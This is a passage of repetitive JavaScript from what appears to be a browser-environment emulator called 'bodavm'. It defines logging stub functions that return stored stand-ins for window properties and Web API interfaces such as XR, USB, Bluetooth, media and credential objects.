->${arg}`); return arg } - bodavm.envFunc.window_XRView = function () { let arg = bodavm.memory.globalobj['XRView']; console.log(`window_XRView`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRSystem = function () { let arg = bodavm.memory.globalobj['XRSystem']; console.log(`window_XRSystem`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRSpace = function () { let arg = bodavm.memory.globalobj['XRSpace']; console.log(`window_XRSpace`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRSessionEvent = function () { let arg = bodavm.memory.globalobj['XRSessionEvent']; console.log(`window_XRSessionEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRSession = function () { let arg = bodavm.memory.globalobj['XRSession']; console.log(`window_XRSession`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRRigidTransform = function () { let arg = bodavm.memory.globalobj['XRRigidTransform']; console.log(`window_XRRigidTransform`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRRenderState = function () { let arg = bodavm.memory.globalobj['XRRenderState']; console.log(`window_XRRenderState`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRReferenceSpaceEvent = function () { let arg = bodavm.memory.globalobj['XRReferenceSpaceEvent']; console.log(`window_XRReferenceSpaceEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRReferenceSpace = function () { let arg = bodavm.memory.globalobj['XRReferenceSpace']; console.log(`window_XRReferenceSpace`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRPose = function () { let arg = bodavm.memory.globalobj['XRPose']; console.log(`window_XRPose`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRInputSourcesChangeEvent = function () { let arg = bodavm.memory.globalobj['XRInputSourcesChangeEvent']; console.log(`window_XRInputSourcesChangeEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRInputSourceEvent = function () { let arg = bodavm.memory.globalobj['XRInputSourceEvent']; console.log(`window_XRInputSourceEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRInputSourceArray = function () { let arg = bodavm.memory.globalobj['XRInputSourceArray']; console.log(`window_XRInputSourceArray`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRInputSource = function () { let arg = bodavm.memory.globalobj['XRInputSource']; console.log(`window_XRInputSource`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRFrame = function () { let arg = bodavm.memory.globalobj['XRFrame']; console.log(`window_XRFrame`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRBoundedReferenceSpace = function () { let arg = bodavm.memory.globalobj['XRBoundedReferenceSpace']; console.log(`window_XRBoundedReferenceSpace`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRAnchorSet = function () { let arg = bodavm.memory.globalobj['XRAnchorSet']; console.log(`window_XRAnchorSet`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRAnchor = function () { let arg = bodavm.memory.globalobj['XRAnchor']; console.log(`window_XRAnchor`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebTransportError = function () { let arg = bodavm.memory.globalobj['WebTransportError']; console.log(`window_WebTransportError`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebTransportDatagramDuplexStream = function () { let arg = bodavm.memory.globalobj['WebTransportDatagramDuplexStream']; console.log(`window_WebTransportDatagramDuplexStream`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebTransportBidirectionalStream = function () { let arg = bodavm.memory.globalobj['WebTransportBidirectionalStream']; console.log(`window_WebTransportBidirectionalStream`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebTransport = function () { let arg = bodavm.memory.globalobj['WebTransport']; console.log(`window_WebTransport`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WakeLockSentinel = function () { let arg = bodavm.memory.globalobj['WakeLockSentinel']; console.log(`window_WakeLockSentinel`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WakeLock = function () { let arg = bodavm.memory.globalobj['WakeLock']; console.log(`window_WakeLock`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_VirtualKeyboard = function () { let arg = bodavm.memory.globalobj['VirtualKeyboard']; console.log(`window_VirtualKeyboard`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_USBOutTransferResult = function () { let arg = bodavm.memory.globalobj['USBOutTransferResult']; console.log(`window_USBOutTransferResult`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_USBIsochronousOutTransferResult = function () { let arg = bodavm.memory.globalobj['USBIsochronousOutTransferResult']; console.log(`window_USBIsochronousOutTransferResult`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_USBIsochronousOutTransferPacket = function () { let arg = bodavm.memory.globalobj['USBIsochronousOutTransferPacket']; console.log(`window_USBIsochronousOutTransferPacket`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_USBIsochronousInTransferResult = function () { let arg = bodavm.memory.globalobj['USBIsochronousInTransferResult']; console.log(`window_USBIsochronousInTransferResult`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_USBIsochronousInTransferPacket = function () { let arg = bodavm.memory.globalobj['USBIsochronousInTransferPacket']; console.log(`window_USBIsochronousInTransferPacket`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_USBInterface = function () { let arg = bodavm.memory.globalobj['USBInterface']; console.log(`window_USBInterface`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_USBInTransferResult = function () { let arg = bodavm.memory.globalobj['USBInTransferResult']; console.log(`window_USBInTransferResult`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_USBEndpoint = function () { let arg = bodavm.memory.globalobj['USBEndpoint']; console.log(`window_USBEndpoint`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_USBDevice = function () { let arg = bodavm.memory.globalobj['USBDevice']; console.log(`window_USBDevice`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_USBConnectionEvent = function () { let arg = bodavm.memory.globalobj['USBConnectionEvent']; console.log(`window_USBConnectionEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_USBConfiguration = function () { let arg = bodavm.memory.globalobj['USBConfiguration']; console.log(`window_USBConfiguration`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_USBAlternateInterface = function () { let arg = bodavm.memory.globalobj['USBAlternateInterface']; console.log(`window_USBAlternateInterface`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_USB = function () { let arg = bodavm.memory.globalobj['USB']; console.log(`window_USB`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SerialPort = function () { let arg = bodavm.memory.globalobj['SerialPort']; console.log(`window_SerialPort`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Serial = function () { let arg = bodavm.memory.globalobj['Serial']; console.log(`window_Serial`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ScreenDetails = function () { let arg = bodavm.memory.globalobj['ScreenDetails']; console.log(`window_ScreenDetails`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ScreenDetailed = function () { let arg = bodavm.memory.globalobj['ScreenDetailed']; console.log(`window_ScreenDetailed`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Scheduling = function () { let arg = bodavm.memory.globalobj['Scheduling']; console.log(`window_Scheduling`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Profiler = function () { let arg = bodavm.memory.globalobj['Profiler']; console.log(`window_Profiler`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PresentationRequest = function () { let arg = bodavm.memory.globalobj['PresentationRequest']; console.log(`window_PresentationRequest`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PresentationReceiver = function () { let arg = bodavm.memory.globalobj['PresentationReceiver']; console.log(`window_PresentationReceiver`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PresentationConnectionList = function () { let arg = bodavm.memory.globalobj['PresentationConnectionList']; console.log(`window_PresentationConnectionList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PresentationConnectionCloseEvent = function () { let arg = bodavm.memory.globalobj['PresentationConnectionCloseEvent']; console.log(`window_PresentationConnectionCloseEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PresentationConnectionAvailableEvent = function () { let arg = bodavm.memory.globalobj['PresentationConnectionAvailableEvent']; console.log(`window_PresentationConnectionAvailableEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PresentationConnection = function () { let arg = bodavm.memory.globalobj['PresentationConnection']; console.log(`window_PresentationConnection`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PresentationAvailability = function () { let arg = bodavm.memory.globalobj['PresentationAvailability']; console.log(`window_PresentationAvailability`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Presentation = function () { let arg = bodavm.memory.globalobj['Presentation']; console.log(`window_Presentation`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PaymentMethodChangeEvent = function () { let arg = bodavm.memory.globalobj['PaymentMethodChangeEvent']; console.log(`window_PaymentMethodChangeEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PaymentResponse = function () { let arg = bodavm.memory.globalobj['PaymentResponse']; console.log(`window_PaymentResponse`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PaymentRequest = function () { let arg = bodavm.memory.globalobj['PaymentRequest']; console.log(`window_PaymentRequest`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PaymentAddress = function () { let arg = bodavm.memory.globalobj['PaymentAddress']; console.log(`window_PaymentAddress`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_OTPCredential = function () { let arg = bodavm.memory.globalobj['OTPCredential']; console.log(`window_OTPCredential`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaStreamTrackProcessor = function () { let arg = bodavm.memory.globalobj['MediaStreamTrackProcessor']; console.log(`window_MediaStreamTrackProcessor`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaStreamTrackGenerator = function () { let arg = bodavm.memory.globalobj['MediaStreamTrackGenerator']; console.log(`window_MediaStreamTrackGenerator`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IdleDetector = function () { let arg = bodavm.memory.globalobj['IdleDetector']; console.log(`window_IdleDetector`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HIDInputReportEvent = function () { let arg = bodavm.memory.globalobj['HIDInputReportEvent']; console.log(`window_HIDInputReportEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HIDDevice = function () { let arg = bodavm.memory.globalobj['HIDDevice']; console.log(`window_HIDDevice`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HIDConnectionEvent = function () { let arg = bodavm.memory.globalobj['HIDConnectionEvent']; console.log(`window_HIDConnectionEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HID = function () { let arg = bodavm.memory.globalobj['HID']; console.log(`window_HID`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_GravitySensor = function () { let arg = bodavm.memory.globalobj['GravitySensor']; console.log(`window_GravitySensor`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_FragmentDirective = function () { let arg = bodavm.memory.globalobj['FragmentDirective']; console.log(`window_FragmentDirective`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_FileSystemWritableFileStream = function () { let arg = bodavm.memory.globalobj['FileSystemWritableFileStream']; console.log(`window_FileSystemWritableFileStream`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_FileSystemHandle = function () { let arg = bodavm.memory.globalobj['FileSystemHandle']; console.log(`window_FileSystemHandle`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_FileSystemFileHandle = function () { let arg = bodavm.memory.globalobj['FileSystemFileHandle']; console.log(`window_FileSystemFileHandle`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_FileSystemDirectoryHandle = function () { let arg = bodavm.memory.globalobj['FileSystemDirectoryHandle']; console.log(`window_FileSystemDirectoryHandle`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_EyeDropper = function () { let arg = bodavm.memory.globalobj['EyeDropper']; console.log(`window_EyeDropper`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BluetoothRemoteGATTService = function () { let arg = bodavm.memory.globalobj['BluetoothRemoteGATTService']; console.log(`window_BluetoothRemoteGATTService`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BluetoothRemoteGATTServer = function () { let arg = bodavm.memory.globalobj['BluetoothRemoteGATTServer']; console.log(`window_BluetoothRemoteGATTServer`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BluetoothRemoteGATTDescriptor = function () { let arg = bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor']; console.log(`window_BluetoothRemoteGATTDescriptor`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BluetoothRemoteGATTCharacteristic = function () { let arg = bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic']; console.log(`window_BluetoothRemoteGATTCharacteristic`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BluetoothDevice = function () { let arg = bodavm.memory.globalobj['BluetoothDevice']; console.log(`window_BluetoothDevice`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BluetoothCharacteristicProperties = function () { let arg = bodavm.memory.globalobj['BluetoothCharacteristicProperties']; console.log(`window_BluetoothCharacteristicProperties`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Bluetooth = function () { let arg = bodavm.memory.globalobj['Bluetooth']; console.log(`window_Bluetooth`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PublicKeyCredential = function () { let arg = bodavm.memory.globalobj['PublicKeyCredential']; console.log(`window_PublicKeyCredential`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AuthenticatorResponse = function () { let arg = bodavm.memory.globalobj['AuthenticatorResponse']; console.log(`window_AuthenticatorResponse`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AuthenticatorAttestationResponse = function () { let arg = bodavm.memory.globalobj['AuthenticatorAttestationResponse']; console.log(`window_AuthenticatorAttestationResponse`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AuthenticatorAssertionResponse = function () { let arg = bodavm.memory.globalobj['AuthenticatorAssertionResponse']; console.log(`window_AuthenticatorAssertionResponse`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_VideoEncoder = function () { let arg = bodavm.memory.globalobj['VideoEncoder']; console.log(`window_VideoEncoder`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_VideoDecoder = function () { let arg = bodavm.memory.globalobj['VideoDecoder']; console.log(`window_VideoDecoder`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ImageDecoder = function () { let arg = bodavm.memory.globalobj['ImageDecoder']; console.log(`window_ImageDecoder`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioEncoder = function () { let arg = bodavm.memory.globalobj['AudioEncoder']; console.log(`window_AudioEncoder`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioDecoder = function () { let arg = bodavm.memory.globalobj['AudioDecoder']; console.log(`window_AudioDecoder`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_VideoFrame = function () { let arg = bodavm.memory.globalobj['VideoFrame']; console.log(`window_VideoFrame`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_VideoColorSpace = function () { let arg = bodavm.memory.globalobj['VideoColorSpace']; console.log(`window_VideoColorSpace`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ImageTrackList = function () { let arg = bodavm.memory.globalobj['ImageTrackList']; console.log(`window_ImageTrackList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ImageTrack = function () { let arg = bodavm.memory.globalobj['ImageTrack']; console.log(`window_ImageTrack`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_EncodedVideoChunk = function () { let arg = bodavm.memory.globalobj['EncodedVideoChunk']; console.log(`window_EncodedVideoChunk`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_EncodedAudioChunk = function () { let arg = bodavm.memory.globalobj['EncodedAudioChunk']; console.log(`window_EncodedAudioChunk`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioData = function () { let arg = bodavm.memory.globalobj['AudioData']; console.log(`window_AudioData`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRWebGLBinding = function () { let arg = bodavm.memory.globalobj['XRWebGLBinding']; console.log(`window_XRWebGLBinding`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRLayer = function () { let arg = bodavm.memory.globalobj['XRLayer']; console.log(`window_XRLayer`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRDOMOverlayState = function () { let arg = bodavm.memory.globalobj['XRDOMOverlayState']; console.log(`window_XRDOMOverlayState`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Worklet = function () { let arg = bodavm.memory.globalobj['Worklet']; console.log(`window_Worklet`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SubtleCrypto = function () { let arg = bodavm.memory.globalobj['SubtleCrypto']; console.log(`window_SubtleCrypto`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_StorageManager = function () { let arg = bodavm.memory.globalobj['StorageManager']; console.log(`window_StorageManager`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ServiceWorkerRegistration = function () { let arg = bodavm.memory.globalobj['ServiceWorkerRegistration']; console.log(`window_ServiceWorkerRegistration`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ServiceWorkerContainer = function () { let arg = bodavm.memory.globalobj['ServiceWorkerContainer']; console.log(`window_ServiceWorkerContainer`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ServiceWorker = function () { let arg = bodavm.memory.globalobj['ServiceWorker']; console.log(`window_ServiceWorker`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SensorErrorEvent = function () { let arg = bodavm.memory.globalobj['SensorErrorEvent']; console.log(`window_SensorErrorEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Sensor = function () { let arg = bodavm.memory.globalobj['Sensor']; console.log(`window_Sensor`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RelativeOrientationSensor = function () { let arg = bodavm.memory.globalobj['RelativeOrientationSensor']; console.log(`window_RelativeOrientationSensor`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCIceTransport = function () { let arg = bodavm.memory.globalobj['RTCIceTransport']; console.log(`window_RTCIceTransport`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PasswordCredential = function () { let arg = bodavm.memory.globalobj['PasswordCredential']; console.log(`window_PasswordCredential`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_OrientationSensor = function () { let arg = bodavm.memory.globalobj['OrientationSensor']; console.log(`window_OrientationSensor`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_NavigatorManagedData = function () { let arg = bodavm.memory.globalobj['NavigatorManagedData']; console.log(`window_NavigatorManagedData`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_NavigationPreloadManager = function () { let arg = bodavm.memory.globalobj['NavigationPreloadManager']; console.log(`window_NavigationPreloadManager`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaKeys = function () { let arg = bodavm.memory.globalobj['MediaKeys']; console.log(`window_MediaKeys`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaKeySystemAccess = function () { let arg = bodavm.memory.globalobj['MediaKeySystemAccess']; console.log(`window_MediaKeySystemAccess`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaKeyStatusMap = function () { let arg = bodavm.memory.globalobj['MediaKeyStatusMap']; console.log(`window_MediaKeyStatusMap`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaKeySession = function () { let arg = bodavm.memory.globalobj['MediaKeySession']; console.log(`window_MediaKeySession`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaKeyMessageEvent = function () { let arg = bodavm.memory.globalobj['MediaKeyMessageEvent']; console.log(`window_MediaKeyMessageEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaDevices = function () { let arg = bodavm.memory.globalobj['MediaDevices']; console.log(`window_MediaDevices`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaDeviceInfo = function () { let arg = bodavm.memory.globalobj['MediaDeviceInfo']; console.log(`window_MediaDeviceInfo`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MIDIPort = function () { let arg = bodavm.memory.globalobj['MIDIPort']; console.log(`window_MIDIPort`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MIDIOutputMap = function () { let arg = bodavm.memory.globalobj['MIDIOutputMap']; console.log(`window_MIDIOutputMap`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MIDIOutput = function () { let arg = bodavm.memory.globalobj['MIDIOutput']; console.log(`window_MIDIOutput`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MIDIMessageEvent = function () { let arg = bodavm.memory.globalobj['MIDIMessageEvent']; console.log(`window_MIDIMessageEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MIDIInputMap = function () { let arg = bodavm.memory.globalobj['MIDIInputMap']; console.log(`window_MIDIInputMap`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MIDIInput = function () { let arg = bodavm.memory.globalobj['MIDIInput']; console.log(`window_MIDIInput`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MIDIConnectionEvent = function () { let arg = bodavm.memory.globalobj['MIDIConnectionEvent']; console.log(`window_MIDIConnectionEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MIDIAccess = function () { let arg = bodavm.memory.globalobj['MIDIAccess']; console.log(`window_MIDIAccess`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_LockManager = function () { let arg = bodavm.memory.globalobj['LockManager']; console.log(`window_LockManager`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Lock = function () { let arg = bodavm.memory.globalobj['Lock']; console.log(`window_Lock`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_LinearAccelerationSensor = function () { let arg = bodavm.memory.globalobj['LinearAccelerationSensor']; console.log(`window_LinearAccelerationSensor`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_KeyboardLayoutMap = function () { let arg = bodavm.memory.globalobj['KeyboardLayoutMap']; console.log(`window_KeyboardLayoutMap`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Keyboard = function () { let arg = bodavm.memory.globalobj['Keyboard']; console.log(`window_Keyboard`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Gyroscope = function () { let arg = bodavm.memory.globalobj['Gyroscope']; console.log(`window_Gyroscope`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_FederatedCredential = function () { let arg = bodavm.memory.globalobj['FederatedCredential']; console.log(`window_FederatedCredential`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DeviceOrientationEvent = function () { let arg = bodavm.memory.globalobj['DeviceOrientationEvent']; console.log(`window_DeviceOrientationEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DeviceMotionEventRotationRate = function () { let arg = bodavm.memory.globalobj['DeviceMotionEventRotationRate']; console.log(`window_DeviceMotionEventRotationRate`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DeviceMotionEventAcceleration = function () { let arg = bodavm.memory.globalobj['DeviceMotionEventAcceleration']; console.log(`window_DeviceMotionEventAcceleration`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DeviceMotionEvent = function () { let arg = bodavm.memory.globalobj['DeviceMotionEvent']; console.log(`window_DeviceMotionEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CryptoKey = function () { let arg = bodavm.memory.globalobj['CryptoKey']; console.log(`window_CryptoKey`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CredentialsContainer = function () { let arg = bodavm.memory.globalobj['CredentialsContainer']; console.log(`window_CredentialsContainer`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Credential = function () { let arg = bodavm.memory.globalobj['Credential']; console.log(`window_Credential`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CookieStoreManager = function () { let arg = bodavm.memory.globalobj['CookieStoreManager']; console.log(`window_CookieStoreManager`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CookieChangeEvent = function () { let arg = bodavm.memory.globalobj['CookieChangeEvent']; console.log(`window_CookieChangeEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ClipboardItem = function () { let arg = bodavm.memory.globalobj['ClipboardItem']; console.log(`window_ClipboardItem`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Clipboard = function () { let arg = bodavm.memory.globalobj['Clipboard']; console.log(`window_Clipboard`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Cache = function () { let arg = bodavm.memory.globalobj['Cache']; console.log(`window_Cache`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioWorklet = function () { let arg = bodavm.memory.globalobj['AudioWorklet']; console.log(`window_AudioWorklet`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Accelerometer = function () { let arg = bodavm.memory.globalobj['Accelerometer']; console.log(`window_Accelerometer`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AbsoluteOrientationSensor = function () { let arg = bodavm.memory.globalobj['AbsoluteOrientationSensor']; console.log(`window_AbsoluteOrientationSensor`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_webkitRequestAnimationFrame = function () { let arg = bodavm.memory.globalobj['webkitRequestAnimationFrame']; console.log(`window_webkitRequestAnimationFrame`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_webkitCancelAnimationFrame = function () { let arg = bodavm.memory.globalobj['webkitCancelAnimationFrame']; console.log(`window_webkitCancelAnimationFrame`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_structuredClone = function () { let arg = bodavm.memory.globalobj['structuredClone']; console.log(`window_structuredClone`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_stop = function () { let arg = bodavm.memory.globalobj['stop']; console.log(`window_stop`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_scrollTo = function () { let arg = bodavm.memory.globalobj['scrollTo']; console.log(`window_scrollTo`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_scrollBy = function () { let arg = bodavm.memory.globalobj['scrollBy']; console.log(`window_scrollBy`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_scroll = function () { let arg = bodavm.memory.globalobj['scroll']; console.log(`window_scroll`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_resizeTo = function () { let arg = bodavm.memory.globalobj['resizeTo']; console.log(`window_resizeTo`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_resizeBy = function () { let arg = bodavm.memory.globalobj['resizeBy']; console.log(`window_resizeBy`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_requestIdleCallback = function () { let arg = bodavm.memory.globalobj['requestIdleCallback']; console.log(`window_requestIdleCallback`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_requestAnimationFrame = function () { let arg = bodavm.memory.globalobj['requestAnimationFrame']; console.log(`window_requestAnimationFrame`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_reportError = function () { let arg = bodavm.memory.globalobj['reportError']; console.log(`window_reportError`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_releaseEvents = function () { let arg = bodavm.memory.globalobj['releaseEvents']; console.log(`window_releaseEvents`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_queueMicrotask = function () { let arg = bodavm.memory.globalobj['queueMicrotask']; console.log(`window_queueMicrotask`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_prompt = function () { let arg = bodavm.memory.globalobj['prompt']; console.log(`window_prompt`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_print = function () { let arg = bodavm.memory.globalobj['print']; console.log(`window_print`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_postMessage = function () { let arg = bodavm.memory.globalobj['postMessage']; console.log(`window_postMessage`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_open = function () { let arg = bodavm.memory.globalobj['open']; console.log(`window_open`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_moveTo = function () { let arg = bodavm.memory.globalobj['moveTo']; console.log(`window_moveTo`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_moveBy = function () { let arg = bodavm.memory.globalobj['moveBy']; console.log(`window_moveBy`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_getSelection = function () { let arg = bodavm.memory.globalobj['getSelection']; console.log(`window_getSelection`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_getComputedStyle = function () { let arg = bodavm.memory.globalobj['getComputedStyle']; console.log(`window_getComputedStyle`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_focus = function () { let arg = bodavm.memory.globalobj['focus']; console.log(`window_focus`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_find = function () { let arg = bodavm.memory.globalobj['find']; console.log(`window_find`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_fetch = function () { let arg = bodavm.memory.globalobj['fetch']; console.log(`window_fetch`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_createImageBitmap = function () { let arg = bodavm.memory.globalobj['createImageBitmap']; console.log(`window_createImageBitmap`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_confirm = function () { let arg = bodavm.memory.globalobj['confirm']; console.log(`window_confirm`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_close = function () { let arg = bodavm.memory.globalobj['close']; console.log(`window_close`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_clearTimeout = function () { let arg = bodavm.memory.globalobj['clearTimeout']; console.log(`window_clearTimeout`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_clearInterval = function () { let arg = bodavm.memory.globalobj['clearInterval']; 